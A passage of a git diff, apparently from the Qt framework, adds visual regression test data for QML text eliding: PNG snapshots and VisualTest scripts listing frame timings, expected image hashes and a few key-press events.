+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.1.png
new file mode 100644
index 00000000..ce166f19
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml
new file mode 100644
index 00000000..84778ac3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.qml
@@ -0,0 +1,303 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "multilength.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "58d757783e6d57c5ac2596219dfd37be"
+ }
+ Frame {
+ msec: 48
+ hash: "e76b3b98f447b706c59ba0c175e1829d"
+ }
+ Frame {
+ msec: 64
+ hash: "f0dbb0b55d1d27bf7c0260db5b5782a2"
+ }
+ Frame {
+ msec: 80
+ hash: "00845517336befd7ead0141312ea38ce"
+ }
+ Frame {
+ msec: 96
+ hash: "99723ae092407e5291ed3a13f5a7be61"
+ }
+ Frame {
+ msec: 112
+ hash: "2d531f1dd1545a4e2f8ca4c65338e0c3"
+ }
+ Frame {
+ msec: 128
+ hash: "9f273323f48a70be279302b194203a36"
+ }
+ Frame {
+ msec: 144
+ hash: "7de4bd5f82369953c2a4a990ddaf4339"
+ }
+ Frame {
+ msec: 160
+ hash: "96c5f74c01723a15a57db161604bc245"
+ }
+ Frame {
+ msec: 176
+ hash: "df2eac6300919044cfe2a2f591c3bd99"
+ }
+ Frame {
+ msec: 192
+ hash: "a153904cdfa0be697a25bebc4ce1fbca"
+ }
+ Frame {
+ msec: 208
+ hash: "de243731b92ac1cac05e194aed0acd1e"
+ }
+ Frame {
+ msec: 224
+ hash: "f6ccc0f127bfc6212885c3c6470639ed"
+ }
+ Frame {
+ msec: 240
+ hash: "a2d56227aebedb9590a1124e44fe8e84"
+ }
+ Frame {
+ msec: 256
+ hash: "5f8c0a42a231580dcfff6a534e77bef8"
+ }
+ Frame {
+ msec: 272
+ hash: "e631663ac692ab097cb28095b45e8563"
+ }
+ Frame {
+ msec: 288
+ hash: "2a03f6ba3c67a9e9732cc1f5cdc42c23"
+ }
+ Frame {
+ msec: 304
+ hash: "26b85080d624b232e5209aa082fc11b1"
+ }
+ Frame {
+ msec: 320
+ hash: "1c027f4a0114bb9050a3a8d9de2b8a56"
+ }
+ Frame {
+ msec: 336
+ hash: "788e6ad3cb5f6e120e40fd3dc6ac8483"
+ }
+ Frame {
+ msec: 352
+ hash: "7e1b0fb71528dfa17a87950c0ff86111"
+ }
+ Frame {
+ msec: 368
+ hash: "e1878e6e8ba14d8945e1f71ac8d42c1e"
+ }
+ Frame {
+ msec: 384
+ hash: "556f42297eb1e57d6a8af0946651a75e"
+ }
+ Frame {
+ msec: 400
+ hash: "73df08e7e3391b339cea9f5f082fd83a"
+ }
+ Frame {
+ msec: 416
+ hash: "de3bd8a12c2a448738ce77036b97bda7"
+ }
+ Frame {
+ msec: 432
+ hash: "0ab187aa7a478dbf005f35416a93c456"
+ }
+ Frame {
+ msec: 448
+ hash: "e5baf64ccafa6a4d2bf74aacf52019c6"
+ }
+ Frame {
+ msec: 464
+ hash: "0ed2ee4a773ade712ef207549006aa7b"
+ }
+ Frame {
+ msec: 480
+ hash: "b23dd49bdfe8fb155e2055262e6a1478"
+ }
+ Frame {
+ msec: 496
+ hash: "871f82636a03d6fa8cbfb580038bd0b7"
+ }
+ Frame {
+ msec: 512
+ hash: "463cdc2cbde034d7d7a5061338b319c7"
+ }
+ Frame {
+ msec: 528
+ hash: "22ff8e25136877fd6f5dce1b01e65c08"
+ }
+ Frame {
+ msec: 544
+ hash: "97d4e49622d877e9e1e0102786e1ee55"
+ }
+ Frame {
+ msec: 560
+ hash: "ebf5304185abe4bc33be44c3df09a93a"
+ }
+ Frame {
+ msec: 576
+ hash: "307887d9973e807c52b2143cdfe438ad"
+ }
+ Frame {
+ msec: 592
+ hash: "d89547539741f387fdd6aa80ef239fbd"
+ }
+ Frame {
+ msec: 608
+ hash: "b818215b4cdd6e811057f1a0f5eb1a5a"
+ }
+ Frame {
+ msec: 624
+ hash: "84f7e523c0f21236ff8aad1333470d11"
+ }
+ Frame {
+ msec: 640
+ hash: "7f974663c7add6d10ebdd401794e087a"
+ }
+ Frame {
+ msec: 656
+ hash: "4c824dc01e8fead2706608ca68293d11"
+ }
+ Frame {
+ msec: 672
+ hash: "86b0f617eb3bfff944c3b670b3b51c71"
+ }
+ Frame {
+ msec: 688
+ hash: "86c5660c22003099cc4121381c11de85"
+ }
+ Frame {
+ msec: 704
+ hash: "3c2bd08ea17aaa920949239f06b255cf"
+ }
+ Frame {
+ msec: 720
+ hash: "2380278cc065a3ac5355127d9873796c"
+ }
+ Frame {
+ msec: 736
+ hash: "e5d8624e841476926b3e2a5ebca8c65f"
+ }
+ Frame {
+ msec: 752
+ hash: "eab70f5005a6b39e3ead6e4452df1a54"
+ }
+ Frame {
+ msec: 768
+ hash: "46acef023d154bad3f91e0267996421b"
+ }
+ Frame {
+ msec: 784
+ hash: "26ba9f30a4bfd72c9b6dae2a25660ea9"
+ }
+ Frame {
+ msec: 800
+ hash: "9fabdd5cf1190fb34bdc7834eba01cd3"
+ }
+ Frame {
+ msec: 816
+ hash: "b1e7af47d4ee706374365fdd4b4d52be"
+ }
+ Frame {
+ msec: 832
+ hash: "86fa2e142e75d9d2a074a5376992f139"
+ }
+ Frame {
+ msec: 848
+ hash: "a3dea2bf8f84743d35070e82ec585c9a"
+ }
+ Frame {
+ msec: 864
+ hash: "ab649fbbe0ca508812de9839d14b3f8c"
+ }
+ Frame {
+ msec: 880
+ hash: "08f8a334e121d4edb0ca1617353bfebc"
+ }
+ Frame {
+ msec: 896
+ hash: "bb7997c1e18b90cfaad4c3e4ec44356e"
+ }
+ Frame {
+ msec: 912
+ hash: "31a7e5d71c28eebfcd29e9ea4950ad17"
+ }
+ Frame {
+ msec: 928
+ hash: "2b759276e03c2884bff7ed863c032dfc"
+ }
+ Frame {
+ msec: 944
+ hash: "aa0868f006097a435c46368ea9e3ba36"
+ }
+ Frame {
+ msec: 960
+ hash: "6454753699c21589d2523a83da0aaa34"
+ }
+ Frame {
+ msec: 976
+ image: "multilength.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "ac26abff68fbc1cf89dc5efc4a714a04"
+ }
+ Frame {
+ msec: 1008
+ hash: "d3f9dc8cb653d996fb57652f85abcbc1"
+ }
+ Frame {
+ msec: 1024
+ hash: "002a94f067eef532f63b6ef916977c2c"
+ }
+ Frame {
+ msec: 1040
+ hash: "f7935d01ee9b497034cc1d8f007a0fdf"
+ }
+ Frame {
+ msec: 1056
+ hash: "4a1bfdcc85e5444c1bd836399e86ee05"
+ }
+ Frame {
+ msec: 1072
+ hash: "1b86514f3c85a8438ef183cc4772e997"
+ }
+ Frame {
+ msec: 1088
+ hash: "7bf4c1ca946288e9d1a7ad055d8cacaa"
+ }
+ Frame {
+ msec: 1104
+ hash: "b3a00861967157786a80c80030d5495b"
+ }
+ Frame {
+ msec: 1120
+ hash: "b9c6195d3336d7519cc72b16e75d00f6"
+ }
+ Frame {
+ msec: 1136
+ hash: "6dba6d030a5ff6a92a57f0bdcf0fe781"
+ }
+ Frame {
+ msec: 1152
+ hash: "cc97a2721f4339094819c8b7aec6d74c"
+ }
+ Frame {
+ msec: 1168
+ hash: "190f67abce51f58fdd1591651633d67e"
+ }
+ Frame {
+ msec: 1184
+ hash: "b255f75cfc4918663b8bd47c887cfb3c"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png
new file mode 100644
index 00000000..f2e61178
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.1.png
new file mode 100644
index 00000000..16202c49
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml
new file mode 100644
index 00000000..f306f5c5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide.qml
@@ -0,0 +1,279 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "elide.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 48
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 64
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 80
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 96
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 112
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 128
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 144
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 160
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 176
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 192
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 208
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 224
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 240
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 256
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 272
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 288
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 304
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 320
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 336
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 352
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 368
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 384
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 400
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 416
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 432
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 448
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 464
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 480
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 496
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 512
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 528
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 544
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 560
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 576
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 592
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 608
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 624
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 640
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 656
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 672
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 688
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 704
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 720
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 736
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 752
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 768
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 784
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 800
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 816
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 832
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 848
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 864
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 880
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 896
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 912
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 928
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 944
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 960
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 976
+ image: "elide.1.png"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 1008
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 1024
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 1040
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+ Frame {
+ msec: 1056
+ hash: "a2003f5b238564e9b68b38db156431d2"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.0.png
new file mode 100644
index 00000000..38b9668a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.1.png
new file mode 100644
index 00000000..801ec2be
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.2.png
new file mode 100644
index 00000000..785093e0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.3.png
new file mode 100644
index 00000000..28f95c9e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.4.png
new file mode 100644
index 00000000..963c4ead
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.qml
new file mode 100644
index 00000000..6e9057c1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-X11/elide2.qml
@@ -0,0 +1,991 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "elide2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 48
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 64
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 80
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 96
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 112
+ hash: "716f5d150bd8757952d7b4ba327fb8bd"
+ }
+ Frame {
+ msec: 128
+ hash: "8ec55fba2017a56c641c7baca5345b8b"
+ }
+ Frame {
+ msec: 144
+ hash: "8ec55fba2017a56c641c7baca5345b8b"
+ }
+ Frame {
+ msec: 160
+ hash: "8ec55fba2017a56c641c7baca5345b8b"
+ }
+ Frame {
+ msec: 176
+ hash: "8ec55fba2017a56c641c7baca5345b8b"
+ }
+ Frame {
+ msec: 192
+ hash: "79dc1645a5486ddfa3d957f3bd4ffbda"
+ }
+ Frame {
+ msec: 208
+ hash: "79dc1645a5486ddfa3d957f3bd4ffbda"
+ }
+ Frame {
+ msec: 224
+ hash: "79dc1645a5486ddfa3d957f3bd4ffbda"
+ }
+ Frame {
+ msec: 240
+ hash: "79dc1645a5486ddfa3d957f3bd4ffbda"
+ }
+ Frame {
+ msec: 256
+ hash: "476eae8ca9f6698cf67e2d20c5c24b66"
+ }
+ Frame {
+ msec: 272
+ hash: "476eae8ca9f6698cf67e2d20c5c24b66"
+ }
+ Frame {
+ msec: 288
+ hash: "476eae8ca9f6698cf67e2d20c5c24b66"
+ }
+ Frame {
+ msec: 304
+ hash: "476eae8ca9f6698cf67e2d20c5c24b66"
+ }
+ Frame {
+ msec: 320
+ hash: "bef1a9585daf30f1739a190ffa2e4b46"
+ }
+ Frame {
+ msec: 336
+ hash: "bef1a9585daf30f1739a190ffa2e4b46"
+ }
+ Frame {
+ msec: 352
+ hash: "bef1a9585daf30f1739a190ffa2e4b46"
+ }
+ Frame {
+ msec: 368
+ hash: "bef1a9585daf30f1739a190ffa2e4b46"
+ }
+ Frame {
+ msec: 384
+ hash: "bef1a9585daf30f1739a190ffa2e4b46"
+ }
+ Frame {
+ msec: 400
+ hash: "156dfc4e9fbc1af5e8c6c48ecd2afe8f"
+ }
+ Frame {
+ msec: 416
+ hash: "156dfc4e9fbc1af5e8c6c48ecd2afe8f"
+ }
+ Frame {
+ msec: 432
+ hash: "156dfc4e9fbc1af5e8c6c48ecd2afe8f"
+ }
+ Frame {
+ msec: 448
+ hash: "156dfc4e9fbc1af5e8c6c48ecd2afe8f"
+ }
+ Frame {
+ msec: 464
+ hash: "2fe675a360e61452c31dda42070c137f"
+ }
+ Frame {
+ msec: 480
+ hash: "2fe675a360e61452c31dda42070c137f"
+ }
+ Frame {
+ msec: 496
+ hash: "2fe675a360e61452c31dda42070c137f"
+ }
+ Frame {
+ msec: 512
+ hash: "2fe675a360e61452c31dda42070c137f"
+ }
+ Frame {
+ msec: 528
+ hash: "0f1bac7c35b9f5bdbce10fb577c9cf28"
+ }
+ Frame {
+ msec: 544
+ hash: "0f1bac7c35b9f5bdbce10fb577c9cf28"
+ }
+ Frame {
+ msec: 560
+ hash: "0f1bac7c35b9f5bdbce10fb577c9cf28"
+ }
+ Frame {
+ msec: 576
+ hash: "0f1bac7c35b9f5bdbce10fb577c9cf28"
+ }
+ Frame {
+ msec: 592
+ hash: "0f1bac7c35b9f5bdbce10fb577c9cf28"
+ }
+ Frame {
+ msec: 608
+ hash: "c79f68e9481f91f6f6a6816a655efc24"
+ }
+ Frame {
+ msec: 624
+ hash: "c79f68e9481f91f6f6a6816a655efc24"
+ }
+ Frame {
+ msec: 640
+ hash: "c79f68e9481f91f6f6a6816a655efc24"
+ }
+ Frame {
+ msec: 656
+ hash: "c79f68e9481f91f6f6a6816a655efc24"
+ }
+ Frame {
+ msec: 672
+ hash: "9a189e9d9249fb04fd98c4e91aba1cb5"
+ }
+ Frame {
+ msec: 688
+ hash: "9a189e9d9249fb04fd98c4e91aba1cb5"
+ }
+ Frame {
+ msec: 704
+ hash: "9a189e9d9249fb04fd98c4e91aba1cb5"
+ }
+ Frame {
+ msec: 720
+ hash: "9a189e9d9249fb04fd98c4e91aba1cb5"
+ }
+ Frame {
+ msec: 736
+ hash: "9a189e9d9249fb04fd98c4e91aba1cb5"
+ }
+ Frame {
+ msec: 752
+ hash: "42c1ac48858ab5901601dc5a950a398f"
+ }
+ Frame {
+ msec: 768
+ hash: "42c1ac48858ab5901601dc5a950a398f"
+ }
+ Frame {
+ msec: 784
+ hash: "42c1ac48858ab5901601dc5a950a398f"
+ }
+ Frame {
+ msec: 800
+ hash: "42c1ac48858ab5901601dc5a950a398f"
+ }
+ Frame {
+ msec: 816
+ hash: "f05bf4e3cc562c5a900fb389a7c093de"
+ }
+ Frame {
+ msec: 832
+ hash: "f05bf4e3cc562c5a900fb389a7c093de"
+ }
+ Frame {
+ msec: 848
+ hash: "f05bf4e3cc562c5a900fb389a7c093de"
+ }
+ Frame {
+ msec: 864
+ hash: "f05bf4e3cc562c5a900fb389a7c093de"
+ }
+ Frame {
+ msec: 880
+ hash: "1b5d1234aa02009ec447ac8fefc403bb"
+ }
+ Frame {
+ msec: 896
+ hash: "1b5d1234aa02009ec447ac8fefc403bb"
+ }
+ Frame {
+ msec: 912
+ hash: "1b5d1234aa02009ec447ac8fefc403bb"
+ }
+ Frame {
+ msec: 928
+ hash: "1b5d1234aa02009ec447ac8fefc403bb"
+ }
+ Frame {
+ msec: 944
+ hash: "1b5d1234aa02009ec447ac8fefc403bb"
+ }
+ Frame {
+ msec: 960
+ hash: "ec7cfc539d7bde448c631da211de8f44"
+ }
+ Frame {
+ msec: 976
+ image: "elide2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "ec7cfc539d7bde448c631da211de8f44"
+ }
+ Frame {
+ msec: 1008
+ hash: "ec7cfc539d7bde448c631da211de8f44"
+ }
+ Frame {
+ msec: 1024
+ hash: "646394dd534a32bc3a066e606cc485f3"
+ }
+ Frame {
+ msec: 1040
+ hash: "646394dd534a32bc3a066e606cc485f3"
+ }
+ Frame {
+ msec: 1056
+ hash: "646394dd534a32bc3a066e606cc485f3"
+ }
+ Frame {
+ msec: 1072
+ hash: "646394dd534a32bc3a066e606cc485f3"
+ }
+ Frame {
+ msec: 1088
+ hash: "6b66b968aaed1896e2e9fafe27bba50f"
+ }
+ Frame {
+ msec: 1104
+ hash: "6b66b968aaed1896e2e9fafe27bba50f"
+ }
+ Frame {
+ msec: 1120
+ hash: "6b66b968aaed1896e2e9fafe27bba50f"
+ }
+ Frame {
+ msec: 1136
+ hash: "6b66b968aaed1896e2e9fafe27bba50f"
+ }
+ Frame {
+ msec: 1152
+ hash: "6b66b968aaed1896e2e9fafe27bba50f"
+ }
+ Frame {
+ msec: 1168
+ hash: "869f75182b9a4b452da1689a5921085f"
+ }
+ Frame {
+ msec: 1184
+ hash: "869f75182b9a4b452da1689a5921085f"
+ }
+ Frame {
+ msec: 1200
+ hash: "869f75182b9a4b452da1689a5921085f"
+ }
+ Frame {
+ msec: 1216
+ hash: "869f75182b9a4b452da1689a5921085f"
+ }
+ Frame {
+ msec: 1232
+ hash: "b2017890ac543b9224e85a44157d9fbb"
+ }
+ Frame {
+ msec: 1248
+ hash: "b2017890ac543b9224e85a44157d9fbb"
+ }
+ Frame {
+ msec: 1264
+ hash: "b2017890ac543b9224e85a44157d9fbb"
+ }
+ Frame {
+ msec: 1280
+ hash: "b2017890ac543b9224e85a44157d9fbb"
+ }
+ Frame {
+ msec: 1296
+ hash: "b2017890ac543b9224e85a44157d9fbb"
+ }
+ Frame {
+ msec: 1312
+ hash: "acac3eb92619e01b3470511cef1a91c8"
+ }
+ Frame {
+ msec: 1328
+ hash: "acac3eb92619e01b3470511cef1a91c8"
+ }
+ Frame {
+ msec: 1344
+ hash: "acac3eb92619e01b3470511cef1a91c8"
+ }
+ Frame {
+ msec: 1360
+ hash: "acac3eb92619e01b3470511cef1a91c8"
+ }
+ Frame {
+ msec: 1376
+ hash: "7f6d45b22e5cb86a7fb45d3f9bcebfc1"
+ }
+ Frame {
+ msec: 1392
+ hash: "7f6d45b22e5cb86a7fb45d3f9bcebfc1"
+ }
+ Frame {
+ msec: 1408
+ hash: "7f6d45b22e5cb86a7fb45d3f9bcebfc1"
+ }
+ Frame {
+ msec: 1424
+ hash: "7f6d45b22e5cb86a7fb45d3f9bcebfc1"
+ }
+ Frame {
+ msec: 1440
+ hash: "481f661e2613242d253498e467c91105"
+ }
+ Frame {
+ msec: 1456
+ hash: "481f661e2613242d253498e467c91105"
+ }
+ Frame {
+ msec: 1472
+ hash: "481f661e2613242d253498e467c91105"
+ }
+ Frame {
+ msec: 1488
+ hash: "481f661e2613242d253498e467c91105"
+ }
+ Frame {
+ msec: 1504
+ hash: "481f661e2613242d253498e467c91105"
+ }
+ Frame {
+ msec: 1520
+ hash: "4c342918351f0165ce63129afbd60074"
+ }
+ Frame {
+ msec: 1536
+ hash: "4c342918351f0165ce63129afbd60074"
+ }
+ Frame {
+ msec: 1552
+ hash: "4c342918351f0165ce63129afbd60074"
+ }
+ Frame {
+ msec: 1568
+ hash: "4c342918351f0165ce63129afbd60074"
+ }
+ Frame {
+ msec: 1584
+ hash: "4f21a25c75cfabbcbd7c485c7c479bfc"
+ }
+ Frame {
+ msec: 1600
+ hash: "4f21a25c75cfabbcbd7c485c7c479bfc"
+ }
+ Frame {
+ msec: 1616
+ hash: "4f21a25c75cfabbcbd7c485c7c479bfc"
+ }
+ Frame {
+ msec: 1632
+ hash: "4f21a25c75cfabbcbd7c485c7c479bfc"
+ }
+ Frame {
+ msec: 1648
+ hash: "b627f215fdb6f62e6cbf2ddbe14dc794"
+ }
+ Frame {
+ msec: 1664
+ hash: "b627f215fdb6f62e6cbf2ddbe14dc794"
+ }
+ Frame {
+ msec: 1680
+ hash: "b627f215fdb6f62e6cbf2ddbe14dc794"
+ }
+ Frame {
+ msec: 1696
+ hash: "b627f215fdb6f62e6cbf2ddbe14dc794"
+ }
+ Frame {
+ msec: 1712
+ hash: "b627f215fdb6f62e6cbf2ddbe14dc794"
+ }
+ Frame {
+ msec: 1728
+ hash: "8c490b27882c58d34cbc941a0b10e6fe"
+ }
+ Frame {
+ msec: 1744
+ hash: "8c490b27882c58d34cbc941a0b10e6fe"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "8c490b27882c58d34cbc941a0b10e6fe"
+ }
+ Frame {
+ msec: 1776
+ hash: "8c490b27882c58d34cbc941a0b10e6fe"
+ }
+ Frame {
+ msec: 1792
+ hash: "739abcde4a980e05932aa079245136cd"
+ }
+ Frame {
+ msec: 1808
+ hash: "739abcde4a980e05932aa079245136cd"
+ }
+ Frame {
+ msec: 1824
+ hash: "739abcde4a980e05932aa079245136cd"
+ }
+ Frame {
+ msec: 1840
+ hash: "739abcde4a980e05932aa079245136cd"
+ }
+ Frame {
+ msec: 1856
+ hash: "739abcde4a980e05932aa079245136cd"
+ }
+ Frame {
+ msec: 1872
+ hash: "af47b93ee81b0e4add42d9addad92219"
+ }
+ Frame {
+ msec: 1888
+ hash: "af47b93ee81b0e4add42d9addad92219"
+ }
+ Frame {
+ msec: 1904
+ hash: "af47b93ee81b0e4add42d9addad92219"
+ }
+ Frame {
+ msec: 1920
+ hash: "af47b93ee81b0e4add42d9addad92219"
+ }
+ Frame {
+ msec: 1936
+ image: "elide2.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "43d7bee700464080f7535d398d60af25"
+ }
+ Frame {
+ msec: 1968
+ hash: "43d7bee700464080f7535d398d60af25"
+ }
+ Frame {
+ msec: 1984
+ hash: "43d7bee700464080f7535d398d60af25"
+ }
+ Frame {
+ msec: 2000
+ hash: "31bf9784a1e1b84cc0ed4a342284ce1a"
+ }
+ Frame {
+ msec: 2016
+ hash: "31bf9784a1e1b84cc0ed4a342284ce1a"
+ }
+ Frame {
+ msec: 2032
+ hash: "31bf9784a1e1b84cc0ed4a342284ce1a"
+ }
+ Frame {
+ msec: 2048
+ hash: "31bf9784a1e1b84cc0ed4a342284ce1a"
+ }
